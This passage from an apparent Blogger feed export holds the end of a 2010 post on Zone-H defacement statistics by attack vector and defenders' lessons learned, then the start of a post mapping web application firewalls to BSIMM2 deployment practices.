guessing&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 6.641&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 3.252&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;1.103&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Telnet Server intrusion &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 4.050&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 3.476&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;2.562&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Remote administrative panel access through password guessing &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 4.915&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 1.139&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;422&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Remote administrative panel access through social engineering &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 4.431&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 1.502&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;472&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Remote service password bruteforce &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 5.563&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 3.658&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;1.002&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Mail Server intrusion &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 1.441&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 2.314&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;1.121&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt;Not available&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 70.457&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 87.684&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;24.493&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;span style="font-weight: bold; "&gt;Lesson Learned #1 - Web Security Goes Beyond Securing the Web Application Itself&lt;/span&gt;&lt;br /&gt;The first concept that was re-enforced was the fact that the majority of attack vectors had absolutely nothing at all to do with the web application itself. The attackers exploited other services that were installed (such as FTP or SSH) or even DNS cache poisoning which would give the "illusion" that the real website had been defaced. These defacement statistics should be a wake-up call for organizations to truly embrace defense-in-depth security and re-evaluate their network and host-level security posture.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; "&gt;Lesson Learned #2 - Vulnerability Prevalence Statistics vs. Attack Vectors used in Compromises&lt;/span&gt;&lt;br /&gt;There are many community projects and resources available that track web vulnerabilities such as; &lt;a href="http://www.securityfocus.com/archive/1"&gt;Bugtraq&lt;/a&gt;, &lt;a href="http://cve.mitre.org/"&gt;CVE&lt;/a&gt; and &lt;a href="http://osvdb.org/"&gt;OSVDB&lt;/a&gt;. These are tremendously useful tools for gaging the raw numbers of vulnerabilities that exist in public and commercial web software. Additionally, a project such as the &lt;a href="http://projects.webappsec.org/Web-Application-Security-Statistics"&gt;WASC Web Application Security Statistics Project&lt;/a&gt; which provides further information about vulnerabilities that are remotely exploitable in both public and custom code applications is useful data. All of this data helps to define both the overall attack surfaces available to attackers and the Vulnerability component of the RISK equation mentioned earlier. This information shows what &lt;b&gt;&lt;i&gt;COULD&lt;/i&gt;&lt;/b&gt; be exploited however there must be a threat (attacker) and a desired outcome (such as a website defacement).  The data shown in this report should help organizations to prioritize the remediation of these specific attack vectors.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; "&gt;Lesson Learned #3 - Web Defacers Are Migrating To Installing Malicious Code&lt;/span&gt;&lt;br /&gt;Another interesting trend is emerging with regards to web defacements - addition of planting of malicious code.  Professional criminal elements of cyberspace (Russian Business Network, etc...) have recruited web defacers into doing "contract" work. Essentially the web defacers already have access to systems so they have a service to offer. It used to be that the web site data itself was the only thing of value, however, now we are seeing that using legitimate websites as a malware hosting platform is providing massive scale improvements for infecting users. So, instead of overtly altering website content and proclaim their 3l33t hax0r ski77z to the world, they are rather quietly adding malicious javascript code to the sites and are making money from criminal organizations and/or malware advertisers by infecting home computer users.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Zone-H outlines this concept at the beginning of their report:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: verdana; font-size: 14px; "&gt;&lt;blockquote&gt;&lt;i&gt;Worms and viruses like mpack/zeus variants also allow some crackers to gather ftp account credentials, &lt;b&gt;but most of the people using those tools do not deface websites, but prefer to backdoor those sites with iframe exploits in order to hack more and more users, and to steal data from them.&lt;/b&gt; &lt;/i&gt;&lt;a target="_blank" href="http://zone-h.org/archive/notifier=iskorpitx" style="color: rgb(243, 11, 11); "&gt;&lt;i&gt;Iskorpitx&lt;/i&gt;&lt;/a&gt;&lt;i&gt; for example (but many others do it as well) uses this method to break into hostings, he usually steals credentials with viruses and sometimes even backdoors the defacements for visitors of the defaced sites to be exploited.&lt;/i&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-457118533453074562?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/457118533453074562/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=457118533453074562' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/457118533453074562'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/457118533453074562'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/06/zone-h-defacement-statistics-report-for.html' title='Zone-H Defacement Statistics Report for Q1 2010'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-2937175845160502903</id><published>2010-05-27T11:51:00.011-04:00</published><updated>2010-06-18T20:46:37.564-04:00</updated><title type='text'>BSIMM2 and WAFs</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_E0YEPhKPc2k/S_6WPW83hrI/AAAAAAAAAIM/_Z4ZOzE-leU/s1600/223fig01_alt.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 320px; height: 174px;" src="http://1.bp.blogspot.com/_E0YEPhKPc2k/S_6WPW83hrI/AAAAAAAAAIM/_Z4ZOzE-leU/s320/223fig01_alt.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5475979387532183218" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;Submitted by Ryan Barnett 05/27/2010&lt;/i&gt;&lt;/b&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;You may have heard that the &lt;a href="http://bsimm2.com/online/"&gt;Build Security In Maturity Model (BSIMM) version 2&lt;/a&gt; was &lt;a href="http://www.informit.com/articles/article.aspx?p=1592389"&gt;recently released&lt;/a&gt; which helps to document various software security practices that are employed by organizations to help prevent application vulnerabilities.  OWASP also has a similar project with its &lt;a href="http://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model"&gt;Open Software Assurance Maturity model (OpenSAMM)&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I was recently asked by a prospect how a Web Application Firewall fits into these security models and I realized that this was properly documented anywhere.  Here are a few direct mappings that I came up with.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Deployment Phase&lt;/b&gt;&lt;/div&gt;&lt;div&gt;The main benefit of a WAF is that it is able to monitor the web application in real-time, in production.  This addresses some of the limitations of static application assessment tools (SAST) and dynamic application assessment tools (DAST).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;BSIMM2 lists the following table to describe &lt;a href="http://bsimm2.com/online/deployment/se/"&gt;Deployment: Software Environment&lt;/a&gt; items:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="  line-height: 20px; font-family:Cambria, 'Hoefler Text', Utopia, 'Liberation Serif', 'Nimbus Roman No9 L Regular', Times, 'Times New Roman', serif;font-size:15px;"&gt;&lt;table cellspacing="0" cellpadding="0" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(102, 102, 102); border-right-color: rgb(102, 102, 102); border-bottom-color: rgb(102, 102, 102); border-left-color: rgb(102, 102, 102); width: 754px; margin-top: auto; margin-right: auto; margin-bottom: 25px; margin-left: auto; "&gt;&lt;tbody&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;th colspan="4" style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;DEPLOYMENT: SOFTWARE ENVIRONMENT&lt;br /&gt;OS and platform patching, Web application firewalls, installation and configuration documentation, application monitoring, change management, code signing.&lt;/th&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt; &lt;/th&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;Objective&lt;/th&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;Activity&lt;/th&gt;&lt;th style="background-color: rgb(221, 221, 221); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); "&gt;Level&lt;/th&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se1.1#se1.1" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;SE1.1&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se1.1#se1.1" style="color: rgb(16, 30, 171); display: block; width: 378px; text-decoration: none; "&gt;watch software&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se1.1#se1.1" style="color: rgb(16, 30, 171); display: block; width: 278px; text-decoration: none; "&gt;use application input monitoring&lt;/a&gt;&lt;/td&gt;&lt;td rowspan="2" valign="top" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?l=1#1" style="color: rgb(16, 30, 171); display: block; width: 31px; text-decoration: none; "&gt;1&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se1.2#se1.2" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;SE1.2&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se1.2#se1.2" style="color: rgb(16, 30, 171); display: block; width: 378px; text-decoration: none; "&gt;provide a solid host/network foundation for software&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se1.2#se1.2" style="color: rgb(16, 30, 171); display: block; width: 278px; text-decoration: none; "&gt;ensure host/network security basics in place&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se2.2#se2.2" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;SE2.2&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se2.2#se2.2" style="color: rgb(16, 30, 171); display: block; width: 378px; text-decoration: none; "&gt;guide operations on application needs&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se2.2#se2.2" style="color: rgb(16, 30, 171); display: block; width: 278px; text-decoration: none; "&gt;publish installation guides created by SSDL&lt;/a&gt;&lt;/td&gt;&lt;td rowspan="3" valign="top" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?l=2#2" style="color: rgb(16, 30, 171); display: block; width: 31px; text-decoration: none; "&gt;2&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se2.3#se2.3" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;SE2.3&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se2.3#se2.3" style="color: rgb(16, 30, 171); display: block; width: 378px; text-decoration: none; "&gt;watch software&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se2.3#se2.3" style="color: rgb(16, 30, 171); display: block; width: 278px; text-decoration: none; "&gt;use application behavior monitoring and diagnostics&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se2.4#se2.4" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;SE2.4&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se2.4#se2.4" style="color: rgb(16, 30, 171); display: block; width: 378px; text-decoration: none; "&gt;protect apps (or parts of apps) that are published over trust boundaries&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se2.4#se2.4" style="color: rgb(16, 30, 171); display: block; width: 278px; text-decoration: none; "&gt;use code signing&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se3.2#se3.2" style="color: rgb(16, 30, 171); display: block; width: 35px; text-decoration: none; "&gt;SE3.2&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se3.2#se3.2" style="color: rgb(16, 30, 171); display: block; width: 378px; text-decoration: none; "&gt;protect IP and make exploit development harder&lt;/a&gt;&lt;/td&gt;&lt;td style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?s=se3.2#se3.2" style="color: rgb(16, 30, 171); display: block; width: 278px; text-decoration: none; "&gt;use code protection&lt;/a&gt;&lt;/td&gt;&lt;td rowspan="1" valign="top" style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(170, 170, 170); border-right-color: rgb(170, 170, 170); border-bottom-color: rgb(170, 170, 170); border-left-color: rgb(170, 170, 170); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; "&gt;&lt;a href="http://bsimm2.com/online/deployment/se/?l=3#3" style="color: rgb(16, 30, 171); display: block; width: 31px; text-decoration: none; "&gt;3&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Specifically, items SE1.1 and SE2.3 which specify the need to "watch software" in order to conduct application input monitoring and behavioral analysis are items where a WAF's automated learning/profiling can identify when there are deviations from normal user or application behavior.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The &lt;a href="http://bsimm2.com/online/deployment/cmvm/"&gt;Deployment: Configuration Management and Vulnerability Managemen&lt;/a&gt;t section lists the following criteria:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="  line-height: 20px; font-family:Cambria, 'Hoefler Text', Utopia, 'Liberation Serif', 'Nimbus Roman No9 L Regular', Times, 'Times New Roman', 